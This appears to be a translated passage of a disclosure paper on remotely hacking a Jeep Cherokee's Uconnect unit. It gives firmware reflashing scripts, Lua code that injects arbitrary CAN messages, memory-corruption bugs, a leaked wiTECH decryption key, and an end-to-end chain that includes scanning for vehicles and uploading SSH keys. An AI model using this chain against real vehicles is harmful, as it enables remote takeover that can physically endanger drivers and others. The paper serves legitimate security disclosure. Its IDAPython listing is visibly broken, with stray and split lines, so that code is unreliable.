现在我们知道要逆向工程哪个文件,我们需要找到一种方法将修改后的固件实际放在 V850 芯片上,以便我们可以从主机上的代码执行到通过 CAN 总线的物理控制进行横向移动。

幸运的是,系统上有一个二进制文件,旨在完全满足我们的需求!IOC 应用程序代码通过“iocupdate”可执行文件从 Uconnect 系统推送到 V850,可以看到它是从“ioc.lua”调用的。

iocupdate -c 4 -p usr/share/V850/cmcioc.bin

“iocupdate”的帮助文本通过描述它确实用于从主机向 IOC 发送二进制文件来验证我们的初步分析。

%C: a utility to send a binary file from the host processor to the IOC 
[options] <binary file name>
Options:
-c <n> Channel number of IPC to send file over (default is
/dev/ipc/ch4)
-p Show progress
-r Reset when done
-s Simulate update
Examples:
/bin/someFile.bin (will default to using /dev/ipc/ch4)
-c7 -r /bin/someFile.bin (will reset when done)
-sp (simulate update with progress notification)

在我们弄清楚如何重新编程 V850 包之后,我们需要逆向工程和修改 IOC 应用程序固件以添加代码以接受命令并将它们转发到 CAN 总线。最重要的部分是对 IOC 应用固件进行逆向工程,因为我们知道它会揭示从总线发送和接收 CAN 消息所需的代码。幸运的是,我们看到可以使用固件重新刷新 IOC,并且没有使用加密签名来验证固件是否合法。

逆向工程 IOC

这项研究的主要目标不仅是表明车辆通信系统的远程入侵是可能的(正如我们已经知道的情况 [2]),而且表明我们之前的研究中证明的攻击 [3] 可以在成功远程妥协后以相同的方式执行。

Uconnect 系统用于与车载网络通信的芯片组,如前所述,是 Renesas V850/Fx3,可以在 CAN 连接部分看到。我们意识到,如果我们要从吉普车发送和接收 CAN 消息,我们很可能需要反转这个固件来弄清楚如何准确调用与 CAN 相关的功能。我们使用 IDA Pro 作为逆向工程平台也就不足为奇了。

幸运的是,我们已经为我们的架构编写了一个处理器模块,NEC V850E1/ES [V850E1]

将固件加载到 IDA Pro 后,您可以查看固件中的第一条指令,该指令跳转到设置代码,初始化功能所需的值。应该注意的是,像第一条指令一样跳转到初始化代码这样简单的事情在我们看到的固件映像中并不常见,只是碰巧 Uconnect 映像对我们非常友好。

您可以在下面看到某些寄存器被设置为特定值,其中最有趣的是“mov 0x3FFF10C, gp”,它告诉我们 GP 寄存器的值。GP 寄存器用于相对寻址(稍后讨论)。此外,由于值放置在 R5 中的 0x77966,我们将图像起始地址推导出为 0x10000。

然后我们可以返回并重新加载映像 ROM 起始地址和加载地址为 0x10000。设置这些地址值将确保我们可以反转所有所需的代码并且正确公开交叉引用。

仅仅因为我们有可读的 V850 汇编代码并不意味着这个项目的逆向部分已经完成。相反,V850 固件的逆向需要我们花费数周时间来获得修改固件映像以通过无线接口接受任意 CAN 消息所需的所有功能。

第一步是通过查找所有代码、修复 IDA Pro 无法弄清楚的 IDB 部分、创建函数并确保所有函数调用和交叉引用正确来规范 IDB。通过查找特定操作码并在这些位置创建代码,该过程的大部分是自动化的。IDA Python 使这个任务变得非常简单:

如果您的工作做得正确,您的 IDB 中的 ROM 段应该是一片蔚蓝的大海,表明所有代码和功能都已找到。

现在 IDB 已经标准化,我们可以继续阅读 V850/Fx3 处理器的数据表 [33],找出段、寻址、寄存器和其他重要信息,这些信息可用于反转我们需要的特定信息。

找出 V850 及其相关固件的地址空间是第一项任务,在阅读文档并找出代码、外设和 RAM 位于不同的段之后,这相当简单。

然后,我们可以在 IDB 中创建适当的段,以反映用于运行固件的 V850 处理器的地址空间布局。我们知道 ROM 段从 0x10000 开始,一直到 0x70000,包含我们的可执行代码。我们的处理器有 32 KB 的 RAM,映射在 0x3FF7000-3FFEFFF。RAM 区域并不令人震惊,它是保存变量的地方,并且在我们的 IDB 中有许多交叉引用。还有一个特殊功能寄存器 (SFR) 段。SFR 是用于各种目的的存储器映射寄存器。有关 SFR 的更多信息,请参见附录 A [33]。

最后,也是最重要的是,有一个 12KB 的可编程外设 I/O 区 (PPA),其中包含 CAN 模块、它们的相关寄存器和相应的报文缓冲区。该区域的基地址由外围区域选择控制寄存器(BPC)指定。一般对于微控制器,PPA的基地址固定为0x3FEC000。下图是我们 IDB 中所有段的图像。

我们之前讨论过 V850 如何使用 GP 相对寻址来访问 RAM 中的变量。您将看到使用负偏移量进入 GP 的代码,而后者又变成了一个虚拟地址。例如(如下),将值 -0x2DAC 移入 GP,有效地从 0x3FFF10C 中减去 0x2DAC,从而得到地址:0x3FFC360。

我们编写了一个脚本来遍历 IDB 中的所有函数,并使用 GP 相对寻址为某些指令创建交叉引用 (xref)。

def do_one_function(fun):
for ea in FuncItems(fun):
mnu = idc.GetMnem(ea)
data_ref)
# handle mova, -XXX, gp, REG
if idc.GetOpnd(ea,1) == 'gp' and idc.GetOpType(ea,0) == 5:
opnd0 = idc.GetOpnd(ea,0)
if "unk" in opnd0:
continue 
if("(" not in opnd0):
data_ref = gp + int(idc.GetOpnd(ea,0), 0)
print "MOV: Add xref from %x -> %x" % (ea,
idc.add_dref(ea, data_ref, 3)
# handle st.h REG, -XXX[gp]
op2 = idc.GetOpnd(ea,1)
if 'st' in mnu and idc.GetOpType(ea,0) == 1 and 'gp' in op2 and "(" not 
in idc.GetOpnd(ea,1):
if "CB2CTL" in op2:
continue
end = op2.find('[')
if end > 0:
offset = int(op2[:end], 0)
print "ST: Add xref from %x -> %x" % (ea, gp + offset)
idc.add_dref(ea, gp + offset, 2)
# handle ld.b -XXX[gp], REG
op1 = idc.GetOpnd(ea,0)
if 'ld' in mnu and 'gp' in op1 and idc.GetOpType(ea,1) == 1 and "(" not 
in idc.GetOpnd(ea,0):
if "unk" in op1:
continue
end = op1.find('[')
if end > 0:
offset = int(op1[:end], 0)
print "LD: Add xref from %x -> %x" % (ea, gp + offset)
idc.add_dref(ea, gp + offset, 3)

代码和交叉引用使您能够查看引用变量的位置并追溯它们以寻找特定功能。

现在我们已经规范化了代码并交叉引用了 RAM 中的变量,我们将要填充 PPA 段,因为这是最有可能发生 CAN 交互的地方。

我们假设任何处理 CAN 的函数,例如从总线读取消息和将消息写入队列,都将引用此内存地址区域。第 20 章 [33] 介绍了每个 CAN 模块的特性和寄存器。V850 每个封装最多可以有 4 个 CAN 模块,但我们只看到我们的固件中使用了 2 个。

20.5 节列出了 CAN 模块使用的所有寄存器和消息缓冲区。这些寄存器和消息缓冲区来自 PBA 的偏移量。

如果您还记得上面的内容,我们微控制器的 PBA 是 0x3FEC000。然后我们可以遍历每个模块的所有寄存器和 CAN 缓冲区,并在我们的 IDB 中为它们创建名称,以便我们可以查找交叉引用,这反过来又会引导我们找到与 CAN 总线交互的代码。

下面是我们编写的 Python 脚本的片段,用于使用适当的名称填充 PPA 段。可以查看名为“create_segs_and_regs.py”的完整脚本,了解如何处理所有段创建和填充。

然后,您可以转到 IDB 中的多个位置来检查布局和交叉引用。例如,下图显示了 CAN 模块 0 的第 2 个和第 3 个(分别为 01 和 02)CAN 报文缓冲区的位置。

IDB 现在具有对 RAM 中变量的交叉引用、填充有 CAN 控制寄存器和消息缓冲区的 PPA 部分,以及完全标准化的 ROM 代码部分。我们假设此时我们可以看到 CAN 消息缓冲区的 PPA 部分的外部参照,但是当我们没有看到代码段中对 PPA 的任何引用时,我们感到困惑。

注意:这与我们在错误的地方查找并在 ROM 段中将一些数据列为代码有很大关系,但无论如何我们将继续我们的故事。

由于我们找不到任何可行的 CAN 相关代码的外部参照,我们决定下载 IAR 工作台 [34],许多汽车相关工程师似乎使用它来编译 V850 处理器的代码。碰巧的是,IAR 工作台附带了我们确切处理器的示例代码,其中包括用于发送和接收 CAN 消息的示例代码!

我们看到 CTL 寄存器被设置为 0x200 以表示即将发生传输,并且在搜索 Uconnect 的固件后,找到了一个看起来正在做完全相同事情的位置。

然后我们对这个函数进行了完全逆向工程,我们称之为“can_transmit_msg”。

对我们来说应该更明显一点,但是代码不直接访问 PPA,而是访问 ROM 中指向相关 CAN 部分的变量。这是有道理的,因为您将拥有一组 CAN 模块并根据它们的索引访问它们,如上面 IAR 工作台示例中所示。我们现在有了与 CAN 总线交互的功能的参考点。

除了存在于 ROM 中的与 CAN 通信相关的变量之外,用于 CAN 的报文缓冲区和控制寄存器也在 RAM 中被引用。基本上,来自 PPA 的数据被复制到 RAM,反之亦然,因为值可能会在短时间内被覆盖。例如,我们逆向工程我们命名为‘can_read_from_ram’和‘can_write_to_ram’的函数,它们分别将来自PPA的数据放入ram和从RAM读取数据到PPA。

RAM 中还有其他几个非常重要的区域,用于存储 CAN ID、CAN 数据长度和 CAN 消息数据。存储在 RAM 中的变量指针数组是发送 CAN 消息不可或缺的一部分。

跟踪 CAN 寄存器、消息缓冲区和 RAM 值使我们对用于发送和接收 CAN 消息的多个函数进行了完全逆向工程。对我们最有用的是我们标记为“can_transmit_msg_1_or_3”的函数,它会将索引带入包含固定 CAN ID 的数组中,或者在我们的示例中,是一个特殊索引,表明我们正在提供用户提供的 CAN ID 以及一个指针到数据长度和 CAN 报文数据。通过使用值或我们的选择填充 RAM 中的多个位置,我们可以让固件发送任意 CAN 消息,控制 ID、长度和数据。

现在对我们来说最大的问题是,虽然我们有能力制作任意 CAN 消息,但我们无法实际调用该函数。我们可以让修改后的固件来做,但我们想要一种从 OMAP 芯片发送 CAN 消息的方法,使用 v850 作为代理。看起来好像我们把车放在了马之前,因为对传输功能的直接调用是有限的,没有一个可以从 OMAP 板到达。本质上,Uconnect 系统确实执行了一些 CAN 功能,但我们无法直接从受感染的主机单元调用任何东西,因此我们需要找到另一种传输方式来在总线上获取我们的消息。

我们知道 V850/Fx3 也支持通过 SPI 和 I2C 的串行通信,但只见证了从主机到 V850 芯片的 SPI 通信。因此,我们决定在固件中查找可能进行 SPI 数据解析的代码。SPI 是一个非常简单的串行通信协议,因此我们决定寻找在线路和代码上观察到的特定值,这些值看起来像逐字节数据解析。

您可以在上面的示例中看到,在 0x4A1E6 处的比较中使用了 0x22 的值,这与我们在 SPI 通道 7 的线路上观察到的数据相匹配。您将在下一节中看到我们如何使用 SPI 协议以及更改 IOC 固件以向 V850 芯片发送任意数据、填充变量并发送任意 CAN 消息。

注意:为简洁起见,省略了本节的大部分细节。与往常一样,如果有特殊问题,请给我们发电子邮件。V850 固件和 SPI 通信的反转需要数周时间,最终成为该项目中最复杂的部分。

在没有 USB 的情况下刷新 v850

IOC 在 V850 芯片上运行,它可以直接访问(即读/写)到 CAN 总线,因此我们的目标是改变 IOC 并找出一种从 Uconnect 系统与其通信的方法.如前所述,固件没有签名,可以从主机更新。对攻击者来说最大的复杂问题是系统仅设计为从 USB 记忆棒执行升级,作为远程​​攻击者,我们不能假设存在。我们想在没有 U 盘的情况下从 OMAP 芯片刷写 V850。

上一节详细说明了 IOC 的更新是使用“iocupdate”二进制文件执行的,该二进制文件使用 ISO-14230 之类的命令通过 SPI 通道 4 进行通信。当 V850 处于应用程序模式时,“iocupdate”二进制文件不会对 V850 起作用,这是主机在“开启”时的状态。当 V850 65 处于正常模式时,所有这些发送到 V850 的 SPI 消息都会被立即忽略。有必要将 IOC 置于‘bootrom’模式以更新固件。

然而,让 V850 进入“bootrom”模式的唯一方法是重置它,然后重置 OMAP 处理器(因此攻击者失去控制)。当 OMAP 处理器以“更新模式”启动时(IOC 必须处于“bootrom”模式),它会尝试从 U 盘进行更新。

其中大部分是硬编码到执行更新的方式中并且无法更改。主要目标是让 V850 进入“更新”模式,而无需涉及 USB 记忆棒。从那里我们可以从远程放置在文件系统上的映像更新 V850。显然,我们不能依靠物理 USB 记忆棒进行远程攻击。第一步是让代码运行,在引导加载程序模式下重启 V850,在更新模式下重启 OMAP。这是执行此操作的 LUA 代码:

onoff = require "onoff" 
onoff.setUpdateMode(true) 
onoff.setExpectedIOCBootMode("bolo") 
onoff.reset( "bolo")

下面是将 V850 重新置于应用程序模式并将 OMAP 置于正常模式的相应代码:

onoff = require "onoff" 
onoff.setExpectedIOCBootMode( "app") 
onoff.setUpdateMode(false) 
onoff.reset( "app")

下一步是尝试控制在 V850 进入 bootrom 模式和 OMAP 处理器进入更新模式时执行的代码,使我们能够规避任何可能需要 USB 记忆棒存在的检查。回想一下,当 OMAP 处理器重新启动时,我们将无法与其通信(不会启用远程接口)。通过仔细检查机器如何在更新模式下启动,我们能够在更新模式下运行代码。文件“bootmode.sh”是最先执行的文件之一。

不幸的是,我们无法对“bootmode.sh”进行更改,因为它位于不可写的目录中,但无论如何下面是文件的一部分。

#!/bin/sh
#
# Determine the boot mode from the third byte
# of the "swdl" section of the FRAM. A "U"
# indicates that we are in Update mode. Anything
# else indicates otherwise.
#
inject -e -i /dev/mmap/swdl -f /tmp/bootmode -o 2 -s 1
BOOTMODE=`cat /tmp/bootmode`
echo "Bootmode flag is $BOOTMODE"
rm -f /tmp/bootmode
if [ "$BOOTMODE" != "U" ]; then 
exit 0
fi
echo "Software Update Mode Detected" 
waitfor /fs/mmc0/app/bin/hd 2
if [ -x /fs/mmc0/app/bin/hd ]; then 
echo "swdl contents"
hd -v -n8 /fs/fram/swdl
echo "system contents"
hd -v -n16 /fs/fram/system
else
echo "hd util not detected on MMC0"
fi

如您所见,如果 OMAP 芯片未处于更新模式,则不会执行文件的其余部分。如果 OMAP 芯片处于更新模式,则它会继续执行“hd”程序。此应用程序位于 /fs/mmc0 分区中,该分区可设置为可写,因此我们可以对其进行修改。因此,为了在 OMAP 芯片处于更新模式且 v850 处于引导加载程序模式时执行代码,我们只需要用我们选择的代码替换“/fs/mmc0/app/bin/hd”。

由于两个处理器都处于正确模式,我们放入“hd”的任何内容都可以更新 V850 固件!这是我们修改后的“hd”版本:

#!/bin/sh
# update ioc
/fs/mmc0/charlie/iocupdate -c 4 -p /fs/mmc0/charlie/cmcioc.bin
# restart in app mode
lua /fs/mmc0/charlie/reset_appmode.lua
# sleep while we wait for the reset to happen
/bin/sleep 60

剩下要做的就是使“/fs/mmc0”分区可写,将适当的文件放在正确的位置,然后重启进入引导加载程序模式。这是在文件“omap.sh”中完成的。

此次更新总共需要大约 25 秒,包括在应用程序模式下启动备份所需的时间。重新启动到应用程序模式后,新的 v850 固件将运行。

SPI 通信

OMAP 芯片通过使用实现专有协议的串行外设接口 (SPI) 与 V850 芯片通信。这种通信包括闪烁 V850 芯片、执行 DTC 操作和发送 CAN 消息等内容。高层的实际通信是通过各种服务进行的。在底层,可以通过从“/dev/spi3”读取和写入来进行直接通信。

对我们来说不幸的是,似乎没有命令让 OMAP 芯片指示 V850 将任意字节的数据发送到任意 CAN ID。相反,V850 有一组内置的命令 ID,其中大部分是硬编码的数据,可以由 OMAP 芯片发送。作为攻击者,我们需要更多。

SPI 消息协议

我们没有对从 OMAP 芯片发送到 SPI 芯片的整个消息协议进行完全逆向工程,但我们在这里包含了一些亮点。

当 v850 处于更新模式时,通信看起来像 ISO 14230 命令。如果您想对“iocupdate”二进制文件进行逆向工程,就可以看到这一点。发送的字节的一些示例包括:

startDiagnosticSession: 10 85 
ecuReset: 11 01 
requestTransferExit: 37
requestDownload: 34 00 00 00 00 07 00 00
readEcuIdentification: 1A 87

当 v850 处于正常模式时,通信似乎是多路复用的。有一些通信字节指示消息的长度。实际消息的第一个字节表示“通道”,其余字节是数据。在稍高的层次上,每个通道都通过‘/dev/ipc/ch7’访问。

我们不知道所有渠道及其用途,但这里有一些亮点:

Channel 6: ctrlChan, used to send a pre-programmed CAN message
Channel 7: Something to do with DTC and diagnostics
Channel 9: Get the time from the v850
Channel 25: Some kind of keys

获取 V850 版本信息

如果您查看“platform_version.lua”,您将看到如何查询运行在 V850 上的固件的应用程序版本。如果您通过通道 7 发送两个特定字节,V850 将使用版本进行响应。

ipc_ch7:write(0xf0, 3)
…
local function onIpcMessage(msg)
if msg[1] ~= 240 then
return 
end
…
if msg[2] == 3 then
versions.ioc_app_version = msg[3] .. "." .. msg[4] .. "." ..
msg[5]
ipc_ch7:close()
end
end

因此,如果你发送‘F0 03’,你希望得到五个字节,f0, 03, x, y, z 其中版本是 x.y.z。

您可以通过从 OMAP 芯片上的相应 D-Bus 服务查询版本来检查这一点:

service = require "service" 
x=service.invoke("com.harman.service.platform", "get_all_versions", {}) 
print(x, 1)
app_version: 14.05.3 
ioc_app_version: 14.2.0 
hmi_version: unknown 
eq_version: 14.05.3 
ioc_boot_version: 13.1.0 
nav_version: 13.43.7

V850 编译日期

下面是一个简单的程序,可以从 V850 芯片中获取编译日期:

file = '/dev/ipc/ch7'
g = assert(ipc.open(file))
f = assert(io.open(file, "r+b"))
g:write(0xf0, 0x02) 
bytes = f:read(0x18) 
print(hex_dump(bytes))
g:close()
f:close()

下面是上述脚本的输出。编译日期为 2014 年 1 月 9 日 20:46:

# lua spi.lua
0000: 00 f0 02 42 3a 46 2f 4a ...B:F/J
0008: 61 6e 20 30 39 20 32 30 an 09 20
0010: 31 34 2f 32 30 3a 34 36 14/20:46

固件中的 V850 漏洞

我们已经表明您可以使用修改后的固件刷新 V850。但是,如果他们使用加密签名,或者您只想动态影响 v850 而不对其重新编程,而不留下任何法医证据,该怎么办?我们简要地查看了一些解析 v850 固件中的 SPI 消息的代码,并确定了一些潜在的漏洞。由于我们不需要它们并且没有 v850 调试器,我们没有实际验证这些,但它们似乎是内存损坏问题。

虽然通过 SPI 接口的攻击面非常小,但由于通信的可信性质,代码并不完全可靠。以下是 v850 应用程序固件中 SPI 处理代码中的两个内存损坏错误。

0004A212 ld.w -0x7BD8[gp], r16 -- 3ff7534
0004A216 ld.w 6[r16], r17
0004A21A mov r17, r6
0004A21C addi 5, r28, r7
0004A220 ld.bu 4[r28], r18
0004A224 mov r18, r8
0004A226 jarl memcpy, lp

在此代码中,r28 指向通过 SPI 发送的用户控制数据。这段代码基本上反编译为:

memcpy(fixed_buffer, attacker_controlled_data, attacker_controlled_len);

这是一个类似的堆栈溢出:

0004A478 movea arg_50, sp, r6
0004A47C addi 5, r28, r7
0004A480 ld.bu 4[r28], r10
0004A484 mov r10, r8
0004A486 jarl memcpy, lp

我们在代码库中发现了其他几个内存损坏错误,但没有记录它们,因为我们的开发过程不需要它们。

通过 V850 芯片发送 CAN 消息

如果您可以修改固件,正如我们在本文前面所展示的那样,您可以提供一些更改,使从 OMAP 芯片发送任意 CAN 数据成为可能。有很多方法可以做到这一点,但最简单和最安全的方法是通过 SPI 消息发送 CAN 数据,该消息可以传递给 V850 固件中的相应函数。我们在 SPI 通道 7 上选择消息“F0 02”。如前所述,这对应于获取固件的编译日期。

我们选择这个命令是因为我们从来没有看到任何实际调用它的代码,所以如果我们把它搞砸了,它应该不会导致致命错误。处理通道 7 的函数位于 0x4b2c6。处理‘F0 02’的代码从0x4aea4开始。我们的技术是修改固件并跳转到 ROM 中未使用的位置,我们可以在其中放置我们选择的任意代码。在该代码的末尾,我们将执行返回到原始位置。

我们使用函数“can_transmit_msg_1_or_3”(0x6729c)。此函数将 92 个固定值中的一个作为参数,每个值对应于 CAN 消息数组(ID、长度和数据)中的一个单独位置。对于其中大多数,CAN ID 是固定的。但是,对于某些值(39 和 91 是两个示例),它从 RAM(与其他 ROM 相对)读取 CAN ID 和 LEN。

我们的代码从 SPI 消息中读取 CAN ID,并将其放入 RAM 中读取 CAN ID 的位置 (gp-0x2CC4)。然后它将数据从 SPI 数据包复制到 RAM 中的适当位置。最后,它复制数据的长度并将其放在预期的位置。它调用函数来传输消息,然后将值设置为 r18(它被我们的蹦床代码破坏了)并按预期返回。

然后,从主机单元,类似于下面的 LUA 代码的内容将为高速和中速总线发送 CAN 消息,具体取决于您分别使用 39 还是 91 消息。

ipc = require("ipc")
file = '/dev/ipc/ch7'
g = assert(ipc.open(file))
-- f0,02,39|91,LEN,CAN1,CAN2,CAN3,CAN4,DATA0,DATA1...
g:write(0xf0, 0x02, 91, 0x08, 0xf1, 0x86, 0xda, 0xf8, 0x05, 0x2F, 0x51,
0x06, 0x03, 0x10, 0x00, 0x00)

整个漏洞利用链

到目前为止,我们已经讨论了如何远程利用 Jeep 和类似车辆的许多方面。到目前为止,有足够的信息可以完成完全利用,但我们只想总结利用链从头到尾的工作方式。

识别目标

您需要车辆的 IP 地址。您可以随机选择一个或编写一个蠕虫来破解它们。如果您知道 VIN 或 GPS,则可以扫描已知车辆所在的 IP 范围,直到找到具有相应 VIN 或 GPS 的车辆。由于 Sprint 网络上设备的速度较慢,为了使这一点可行,您可能需要许多设备来并行扫描,可能多达几百台。或者,攻击者可以将通过监视发现的目标车辆的车牌号输入在线记录数据库中以发现 VIN,然后使用 VIN 查找 IP 以进行有针对性的攻击。

利用主机的 OMAP 芯片

一旦您获得易受攻击车辆的 IP 地址,您就可以使用相应 D-Bus 服务的 execute 方法运行代码,如前所述。

最简单的就是上传一个SSH公钥、配置文件,然后启动SSH服务。此时,您可以通过 SSH 连接到车辆并从远程终端运行命令。

控制 Uconnect 系统

如果您只想控制无线电、HVAC、获取 GPS 或其他与 CAN 无关的攻击,则只需要上面部分所述的 LUA 脚本。事实上,大部分功能都可以使用 D-Bus 完成,而无需实际执行代码,只需使用提供的 D-Bus 服务即可。如果您想控制汽车的其他方面,请继续……

使用修改后的固件刷新 v850

准备好修改后的 v850 固件并按照前面的说明使用修改后的固件刷新 v850。这需要自动重新启动系统,这可能会提醒驱动程序发生了某些事情。如果你搞砸了这一步,你就会把主机变成砖头,需要更换。

执行网络物理操作

利用修改后的固件,通过使用 SPI 从 OMAP 芯片向 V850 芯片上的修改后的固件发送消息,发送适当的 CAN 消息以使车辆发生物理事件。这需要与本文作者在 2013 年进行的研究类似的研究 [3]。

网络物理内部结构

我们现在可以在远程攻击后开始发送 CAN 消息。为了弄清楚要发送哪些 CAN 消息,我们需要弄清楚 Jeep 发送的消息的专有性质。这需要结合反复试验、对机械工具进行逆向工程以及对 ECU 固件进行逆向工程。在本节中,我们将引导您完成这项工作。

机械工具

与所有安全研究一样,拥有适合工作的工具可以发挥重要作用。我们需要为吉普车提供机械师的工具也就不足为奇了。机械工具将能够在低级别通过 CAN 与 ECU 交互。它们将包含安全访问密钥以及攻击者可能感兴趣的诊断测试功能。

不幸的是,我们发现该设备不是带有软件的标准 J2534 直通设备,而是由 wiTECH 制造的专有硬件/软件系统,成本超过 6700.00 美元(加上每年 1800 美元的技术管理局订阅费用 [14])。

虽然一些研究可以在没有诊断设备的情况下进行,但许多主动测试和 ECU 解锁需要对机械师的工具进行分析。在这篇论文的两位作者销售血浆几周后,我们终于能够负担得起对 Jeep Cherokee(以及所有其他 Fiat-Chrysler 车辆)进行诊断所需的系统

概述

wiTECH 工具非常易于使用,可能是由于最近正在重新设计。您可以查看汽车的各个方面,甚至可以看到 Jeep 网络架构的图形表示,这是我们在使用 wiTECH 设备之前从未见过的。

wiTECH 和我们过去看到的其他诊断程序之间的另一个区别是 wiTECH 系统是用 Java 编写的,而不是 C/C++。由于友好的名称和将字节码反编译为 Java 源代码的能力,这被证明更容易进行逆向工程。

制造商采取的一种使反编译变得困难的措施是使用字符串混淆,这似乎是由 Allatori 混淆器 [15] 生成的。正如您在下面看到的,在 Java 代码中搜索输出字符串不会有太大好处,因为它们是“加密”的,只会在运行时“解密”。

虽然我们最初做了一些 Java 字节码分析,但我们发现最简单的方法是将所需的 wiTECH JAR 导入 Java 应用程序,并使用库中的函数进行解密。下面你可以看到我们解密一个字符串并打印结果,恰好是“flash engine is invalidated”。

SecurityAccess

尽管 wiTECH 设备用于收集主动测试,例如用于打开挡风玻璃刮水器的 CAN 消息,但最大的吸引力在于分析软件以找出 SecurityAccess 算法,该算法用于“解锁”ECU 进行重新编程或其他特权操作。

同样,与我们之前检查过的任何诊断软件不同,wiTECH 软件似乎不包含任何负责从用于解锁 ECU 的种子生成密钥的实际代码。最终在查看“jcanflash/Chrysler/dcx/securityunlock/”中的文件后,我们看到根据要重新刷新的ECU类型调用了某些解锁功能。

持续的静态分析最终将我们带到了一些位于‘/ngst/com/dcx/NGST/vehicle/services/security/SecurityUnlockManagerImp.java’中的代码,其中包含以下代码:

localObject = new ScriptedSecurityAlgorithm(new 
EncryptedSecurityUnlock(((ScriptedSecurityMetaData)paramSecurityLevelMet 
aData).getScript()));

不幸的是,检查“EncryptedSecurityUnlock”并没有为我们提供有关用于从种子派生密钥的实际算法的更多信息。

对用于安全解锁的方法的回溯确实将我们引导至位于“\jcanflash\com\dcx\NGST\jCanFlash\flashfile\odx\data\scripts\unlock”的目录,其中包含许多以“.esu”结尾的文件(我们后来了解到它代表加密安全解锁)。当我们在十六进制编辑器中检查其中一些文件时,没有任何可读的字符串或内容,这并不奇怪。

虽然我们没有解锁算法,但我们对整个过程是如何运作的有一个很好的了解。wiTECH 应用程序会向 ECU 请求种子,在收到种子后,它将确定 ECU 类型,并解密解锁文件,我们假设该文件包含生成密钥的算法。

重新检查“EncryptedSecurityUnlock”构造函数会发现以下内容:

UC localUC = new UC();
SecurityUnlockFactoryImp localSecurityUnlockFactoryImp =
new SecurityUnlockFactoryImp();
try
{
byte[] arrayOfByte = localUC.d(a);

意识到传递给“d”函数的字节流很可能是上面显示的加密数据,我们对构造函数进行了去混淆,并对我们的结果感到满意。

你可以看到他们精通 l33t 语言,因为解密的密钥是“G3n3r@ti0n”之类的东西。提示wiTECH!

Uc.init(“G3n3r@ti0n”, “MD5”, “”, “BC”, “AES”, new String[]
{“com.chrysler.lx.UnlockCryptographerTest”, 
"com.dcx.securityunlock.encrypted.EncryptedSecurityUnlock", “”, 
“com.dcx.NGST.jCanFlash.flashfile.efd2.SecurityUnlockBuilderImpTest”});

在“00A6.esu”(如上所示)上运行解密例程后,我们现在可以看到确实是使用 JavaScript 从种子中导出密钥。

解密用于解锁 ECU 的文件后,我们能够查看 Javascript 并将功能移植到 Python。算法涉及一些秘密和简单的按位操作也就不足为奇了,因为这些技术在汽车行业似乎无处不在。下面的屏幕截图是我们用于解锁 Jeep Cherokee 中各种 ECU 的 Python 代码,但相同的算法可能适用于许多其他车辆。完整代码请参见内容包中的“JeepUnlock.py”。

应该注意的是,与我们之前对福特和丰田的研究不同,我们从来没有真正需要安全访问密钥来执行我们的攻击。

SecurityAccess 算法的唯一用途是重新刷新 ECU,我们没有对此进行探索。

PAM ECU Reversing

使用机械工具,我们可以执行主动测试并嗅探结果。此外,我们还找出了安全访问算法和密钥,允许我们执行特权操作。然而,机械工具发送的消息本质上是固定的,从未使用过校验和。检查实际 ECU 到 ECU 流量表明经常使用校验和。

如果我们想要制作我们自己的 CAN 消息(而不仅仅是重播现有消息),我们需要了解这些校验和。为此,我们必须查看一些执行校验和的代码,而这些代码仅存在于 ECU 本身中。多次观察嗅探到的 CAN 流量足以得出速度、制动百分比等项目。

此外,这些 CAN 消息可以将校验和作为最后一个数据字节。例如,以下消息来自车道保持辅助 (LKA) 系统使用的 2010 年丰田普锐斯。

IDH: 02, IDL: E4, Len: 05, Data: 98 00 00 00 83
IDH: 02, IDL: E4, Len: 05, Data: 9A 00 00 00 85
IDH: 02, IDL: E4, Len: 05, Data: 9E 00 00 00 89

每条消息的最后一个字节是 CAN ID、数据长度和数据字节的整数加法校验和(限制为 1 个字节),通过分析几条消息很容易弄清楚。

我们认为大多数消息要么是纵向冗余校验(XOR 校验和),要么是整数加法校验和,但停车辅助模块(PAM)使用的校验和与我们见过的不同。

以下消息是从 2014 年吉普切诺基的 PAM 发送的。

IDH: 02, IDL: 0C, Len: 04, Data: 80 00 06 7F
IDH: 02, IDL: 0C, Len: 04, Data: 80 00 08 D9
IDH: 02, IDL: 0C, Len: 04, Data: 80 00 19 09

来自 PAM 的消息似乎不适合我们所知道的任何校验和算法以及描述校验和和 CRC 数据完整性技术的 Koopman 论文中引用的一些 [16]。

我们的想法是,如果我们能够获得固件并对代码进行逆向工程,我们将能够识别校验和算法,从而使我们能够制作对侦听 CAN 总线的 ECU 有效的任意消息。

幸运的是,wiTECH 软件为我们提供了从 Internet 购买 PAM 模块所需的所有信息,序列号:56038998AJ,可以从任何销售 MOPAR 零件的零售商处订购。

wiTECH 实用程序还具有更新 PAM 的能力,这表明固件将从 Internet 下载并本地存储在执行更新的计算机上。果然,在运行wiTECH软件的笔记本电脑上查看文件系统后,我们找到了目录:

'%PROGRAMDATA%\wiTECH\jserver\userData\file\flashfiles'。

该目录似乎包含缓存的固件,因此软件无需为每个重新刷新事件下载新副本。我们不确定哪些文件是哪些以及它们是如何编码的,因此我们在 Jeep 中两个 ECU 的重新刷新过程中捕获了 CAN 流量。

将重新刷新期间发送的数据与我们拥有的文件进行比较,我们可以推断其中一个文件是停车辅助模块的更新。在文件 5603899ah.efd 上运行字符串以查找字符串“PAM”产生的结果得出结论,固件更新实际上是我们想要获取的固件。

C:\Jeep\pam>strings 56038998ah.efd | grep PAM 
PAM
PAM_CUSW SU
.\PAM_DSW\GEN\DSW09_PROJECT_gen\api\DTC_Mapping_MID_DTCID_PROJECT.h
.\PAM_DSW\GEN\DSW09_PROJECT_gen\api\DTC_Mapping_MID_DTCID_PROJECT.h
.\PAM_DSW\DSW_Adapter\src\DSW4BSW_PDM2NVM.c

注意:您还会注意到,我们不够聪明,无法通过 EFD 文件的名称推断出我们在正确的路径上,该文件是 2014 年吉普切诺基停车辅助模块的序列号。

该文件本身不仅是固件映像,还包含 wiTECH 软件用于各种目的的元数据。幸运的是,我们可以从 wiTECH 软件提供的 JAR 中实现某些方法调用,以找到固件的真正起始偏移量和大小。

导入适当的类后,以下调用链将显示固件的真实起始偏移量和大小。

String user_file = "C:/Jeep/pam/56038998ah.efd"; 
UserFileImp ufi = new UserFileImp(user_file); 
ff.load(ufi);
Microprocessor mps[] = ff.getMicroprocessors(); 
StandardMicroprocessor smp = (StandardMicroprocessor)mps[0];
LogicalBlock lb = smp.getLogicalBlocks()[0];
PhysicalBlockImp pb = (PhysicalBlockImp)lb.getPhysicalBlocks()[0];
System.out.println("Block Len: " + pb.getBlockLength()); 
System.out.println("Block len (uncomp): " + 
pb.getUncompressedBlockLength());
System.out.println("File Offset: " + pb.getFileOffset());
